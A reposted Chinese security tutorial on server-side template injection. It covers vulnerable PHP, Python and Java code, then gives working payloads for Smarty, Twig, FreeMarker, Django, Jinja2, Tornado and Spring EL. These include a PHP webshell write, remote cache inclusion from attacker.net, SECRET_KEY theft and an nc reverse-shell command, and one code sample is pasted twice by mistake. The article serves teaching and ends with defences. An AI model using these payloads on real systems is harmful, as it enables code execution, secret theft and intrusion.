文章总结: 本文详细解析服务器端模板注入的原理与利用。涵盖PHP、Java、Python等语言的常见引擎,通过实例展示漏洞触发机制。重点讲解利用模板、框架及语言特性进行攻击的方法,包括读写文件、命令执行及沙盒逃逸。最后提出禁止用户控制模板内容及规范渲染流程的防御建议。 综合评分: 91 文章分类: 漏洞分析,WEB安全,渗透测试
模板注入SSTI的基础学习理解(内容较干,收藏慢慢看哦)
白安全组
2025年12月31日 09:05 江苏
这里不对基本的注入原理再进行讲解。本篇文章针对模板注入的基础知识进行梳理,希望大家可以了解学习基本的模板注入产生的原理和利用方式。
什么是模板注入?
SSTIS(服务器端模板注入)。如今的开发以及形成了成熟的MVC的模式,我们的输入通过v接受,交给c,由c调用m或者其他的c进行处理,最后再返还给v。
这里的v中就大量用到了模板技术,这里这种模板不仅仅指的是python,凡是使用模板的地方,就有可能存在SSTI问题,SSTI不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是犹豫模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防御机制。
常见的模板引擎
1、php常用
1、Smarty
是一种比较老的php模板引擎了,比较经典,使用较广。
2、Twig
Twig是来自于Symfony的模板引擎,易于安装和使用,操作和Mustache和liquid较像。
3、Blade
Blade是Laravel提供的一个简单强大的模板引擎, 和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何额外负担。
2、java常用
1、JSP
经典的java模板引擎
2、FreeMarker
FreeMarker是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
3、Velocity
Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。
3、python常用
1、jinja2
flask jinja2一直一起说的,使用很广
2、djanggo
django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道 django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了
3、tornado
tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发
4、注意点
同一种语言不同的模板引擎支持的语法虽然很像,但是还是有略微的差异的,比如
tornado render() 中支持传入自定义函数,以及函数的参数,然后在两个大括号
{{}}
中执行,但是 django 的模板引擎相对于tornado 来说就相对难用一些
SSTI是如何产生的
服务端接受了用户的而已输入之后,未经处理就将其作为web应用模板内容的一部分,模板引擎在进行渲染编译的时候,执行了掺入进去的语句,从而可以执行不安全的命令。
单纯的字符串拼接并不能带来注入问题,关键要看你拼接的是什么,如果是控制语句,就会造成数据域与代码域的混淆,这样就会出洞
1、php实例
这里分析一段php的代码
<?php
// 引入Twig模板引擎的自动加载器文件
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
// 注册Twig的自动加载器
Twig_Autoloader::register(true);
// 创建Twig环境,使用Twig_Loader_String加载器
$twig = new Twig_Environment(new Twig_Loader_String());
// 使用Twig渲染模板字符串,将用户输入作为模板变量的值传递进去
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
// 输出渲染后的内容
echo $output;
?>
这里我们去看,没有什么问题,将用户name参数的内容传递过去,渲染输出。 由于name已经有{{}},所以即便我们按照正常的测试{{2*2}}输出的内容也还是这个,而不会作为变量进行解析。
那么我们再来看这个代码
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}"); // 将用户输入作为模版内容的一部分
echo $output;
?>
注意:不要把这里的
{}
当成是模板变量外面的括号,这里的括号实际上只是为了区分变量和字符串常量而已**,于是我们输入 {{2*2}},我们会得到4这个结果,那么服务器就凉了。
2、python实例
实例代码1
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
使用@app.errorhandler(404)装饰器,捕捉应用中的404错误。
定义了一个名为page_not_found的处理404错误的函数。
在page_not_found函数中,构建了一个包含HTML模板的字符串。
在模板中,使用{% extends “layout.html” %}表示该模板继承自”layout.html”。
使用{% block body %} … {% endblock %}定义了模板中的主体内容块。
在模板中插入了一些错误信息,例如页面不存在的提示和请求的URL。
最后,通过render_template_string方法渲染模板,并返回渲染后的内容和HTTP状态码404。
其实这里我们不需要看太多,这里代码的意思,就是将url这个变量进行传递,同时没有任何过滤
于是我们就能在URL后面跟上{{ 7*7 }}
自然而然就能计算出 49 了
实例代码2
# coding: utf-8
import sys
from jinja2 importTemplate
template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()
创建一个Jinja2模板,显示用户输入或字符串’
使用sys.argv获取命令行参数,通过条件表达式判断是否有输入。
调用template.render()方法渲染模板。
其实这里,也只是使用了{}进行取值,直接输入我们的测试{{ 7*7 }}
3、java实例
实例1
漏洞分析:https://paper.seebug.org/70/
详细分析可以看这个
漏洞浅析:
我们访问这个url会出现报错,并且在在页面上输出 K0rz3n
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=K0rz3n
为什么会报错呢?因为K0rz3n 并不符合 redirect_uri 的格式规范
但当我们请求下面这个URL 的时候
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}
同样会报错,但是非常奇怪的是,我们的
${}
表达式居然被执行了,输出了 2333,模板注入实锤了,我们来看一下代码,分析一下
路径:\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth2\src\main\java\org\springframework\security\oauth2\provider\endpoint\WhitelabelErrorEndpoint.java
WhitelabelErrorEndpoint.java
@FrameworkEndpoint // 标识为Spring Framework的端点(Endpoint)
public class WhitelabelErrorEndpoint {
// 字符串模板,用于显示OAuth错误信息
private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";
// 处理"/oauth/error"路径的请求,返回渲染后的错误页面
@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
// 创建一个用于传递给视图的模型
Map<String, Object> model = new HashMap<String, Object>();
// 从请求属性中获取错误对象
Object error = request.getAttribute("error");
// 处理错误对象,提取错误摘要并进行防XSS处理
String errorSummary;
if (error instanceof OAuth2Exception) {
OAuth2Exception oauthError = (OAuth2Exception) error;
// 获取错误摘要并进行HTML转义,防止XSS攻击
errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
} else {
errorSummary = "Unknown error";
}
// 将错误摘要放入模型中,供模板使用
model.put("errorSummary", errorSummary);
// 返回一个包含SpEL表达式视图的ModelAndView,用于渲染错误页面
return new ModelAndView(new SpelView(ERROR), model);
}
}
我们看到,当拿到错误信息以后,就交给了 SpelView(),我们跟进去看一下
这里继续看SpelView(),
路径:\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth2\src\main\java\org\springframework\security\oauth2\provider\endpoint\SpelView.java
@FrameworkEndpoint // 标识为Spring Framework的端点(Endpoint)
public class WhitelabelErrorEndpoint {
// 字符串模板,用于显示OAuth错误信息
private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";
// 处理"/oauth/error"路径的请求,返回渲染后的错误页面
@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
// 创建一个用于传递给视图的模型
Map<String, Object> model = new HashMap<String, Object>();
// 从请求属性中获取错误对象
Object error = request.getAttribute("error");
// 处理错误对象,提取错误摘要并进行防XSS处理
String errorSummary;
if (error instanceof OAuth2Exception) {
OAuth2Exception oauthError = (OAuth2Exception) error;
// 获取错误摘要并进行HTML转义,防止XSS攻击
errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
} else {
errorSummary = "Unknown error";
}
// 将错误摘要放入模型中,供模板使用
model.put("errorSummary", errorSummary);
// 返回一个包含SpEL表达式视图的ModelAndView,用于渲染错误页面
return new ModelAndView(new SpelView(ERROR), model);
}
}
resolver 这个参数是经过递归的去
${}
处理的,不信我们看一下 replacePlaceholders()
public String replacePlaceholders(String value, final Properties properties) {
Assert.notNull(properties, "'properties' must not be null");
return replacePlaceholders(value, new PlaceholderResolver() {
@Override
public String resolvePlaceholder(String placeholderName) {
return properties.getProperty(placeholderName);
}
});
}
很明显这里面递归调用了replacePlaceholders() 函数,最终能得到单纯的表达式,然后渲染的时候放在
实例2
在2015年的blackhat 大会上曾讲述了Alfresco 的一个 SSTI 漏洞,不过没有找到源码,只能拿来payload 分析一下。
实例代码:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
结果:
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
解释: https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_new 经过我查阅上述freemarker 的文档,这里面的 ?new() 是其高级内置函数
用法如下:
<# - 创建一个用户定义的指令,调用类的参数构造函数 - >
<#assign word_wrapp =“com.acmee.freemarker.WordWrapperDirective”?new()>
<# - 创建一个用户定义的指令,用一个数字参数调用构造函数 - >
<#assign word_wrapp_narrow =“com.acmee.freemarker.WordWrapperDirective”?new(40)>
相当于是,调用了构造函数创建了一个对象,那么这个 payload 中就是调用的 freemarker 的内置执行命令的对象 Excute
简单来说,就是先创建了一个对象,然后在后面调用,运行命令。
攻击方式
检测工具
这里提供一个大牛写的 SSTI 的检测工具 https://github.com/epinna/tplmap
有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如 有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤
攻击思路
1、攻击方向
我们需要从四个方面进行攻击
模板本身、框架本身、语言本身、应用本身
2、攻击方式
利用模板本身的特性进行攻击
smarty模板
是目前最流行的php模板之一, 为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)
但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的好用的方法
比如:getStreamVariable()
github 中明确指出,这个方法可以获取传入变量的流(说人话就是读文件)
payload:
{self::getStreamVariable("file:///proc/self/loginuid")}
再比如:class Smarty_Internal_Write_File
有了上面的读文件当然要找一个写文件的了,这个类中有一个writeFile方法
那么读文件函数有了,我们还需要可以写入文件的函数
函数原型:
public function writeFile($_filepath, $_contents, Smarty $smarty)
上面的第三个参数就是smarty类型,后来找到了self::clearConfig()
写入文件对于攻击者是非常有利的,可以直接写入一句话getshell
payload:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Twig模板
相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了,但是 通过官方文档的查询 , Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env
env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置
明显的攻击是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞:
payload:
{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}
但是新的问题出现了,allow_url_include 一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()
我们只要把exec() 作为回调函数传进去就能实现命令执行了
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
free marker(java)
这个模板主要用于 java ,在上面我举例 java 的 SSTI 的时候我已经简答的分析过这个的一个 payload,我希望读者也能按照 查找文档,查看框架源码,等方式寻找这个 payload 的思路来源
payload:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Django(python)
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
注入点很明显就是 email,但是如果我们的能力已经被限制的很死,很难执行命令,但又想获取和 User 有关的配置信息的话,我么怎么办?
可以发现我们现在拿到的只有有一个 和user 有关的变量,那就是 request user ,那我们的思路是什么?
简单来说,在我们看不到源码的情况下,需要去利用框架本身的属性,看看框架的属性和类之间的引用。
Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:
所以,思路就很明确了:我们只需要通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。
payload:
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
Flask/Jinja2(python)
config 是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。虽然config是一个类字典对象,但是通过查阅文档可以发现 config 有很多神奇的方法:from_envvar, from_object, from_pyfile, 以及root_path。
这里我们利用 from_pyfile 和 from_object 来命令执行
这个方法将传入的文件使用 compile() 这个python 的内置方法将其编译成字节码(.pyc),并放到 exec() 里面去执行,注意最后一个参数 d.__dict__翻阅文档发现,这个参数的含义是指定 exec 执行的上下文,
执行的代码片段被放入了 d.__dict__ 中,这看似没设么用,但是神奇的是后面他调用了 from_object() 方法,根据源码
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)
这个方法会遍历 Obj 的 dict 并且找到大写字母的属性,将属性的值给 self[‘属性名’],所以说如果我们能让 from_pyfile 去读这样的一个文件
from os import system
SHELL = system
到时候我们就能通过 config[‘SHELL’] 调用 system 方法了
那么文件怎么写入呢?Jinja2 有沙盒机制,我们必须通过绕过沙盒的方式写入我们想要的文件,具体的沙盒绕过可以参考:https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/
最终的 payload:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL
tornado(python)
这里用一个强网杯的题目作为例子
题目意思就是通过SSTI获取cookie_secret,但是这里过滤了很多东西
"%'()*-/=[\]_|
这里是无法通过python的魔法方法进行沙盒逃逸命令
这里有一个重要的方法就是直接下载框架源码,全局搜索cookie_secret
你会发现 cookie_secret 是handler.application.settings 的键值,那我们只要获取到这个对象是不是就可以了
在官方文档中,可以看到 RequestHandler.settings 是 self.application.settings 的别名 , 也就是说我们能直接通过 handler.settings 访问到 我们朝思暮想的 cookie_secret
payload:
http://117.78.26.79:31093/error?msg={{handler.settings}}
利用模语言本身的特性进行攻击
1.Python
Python 最最经典的就是使用魔法方法,这里就涉及到Python沙盒绕过了,前面说过,模板的设计者也发现了模板的执行命令的特性,于是就给模本增加了一种沙盒的机制,在这个沙盒中你很难执行一般我们能想到函数,基本都被禁用了,所以我们不得不使用自省的机制来绕过沙盒
2.JAVA
java.lang包是java语言的核心,它提供了java中的基础类。包括基本Object类、Class类、String类、基本类型的包装类、基本的数学类等等最基本的类
有了这个基础我们就能想到这样的payload
payload:
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
当然要是文件操作就要用另外的类了,思路是不变的
payload:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
注意:
这里面的 T() 是 EL 的语法规定(比如 Spring 框架的 EL 就是 SPEL)
防御方法
(1)和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制 (2)减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法
参考文章:
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:白安全组 《模板注入SSTI的基础学习理解(内容较干,收藏慢慢看哦)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论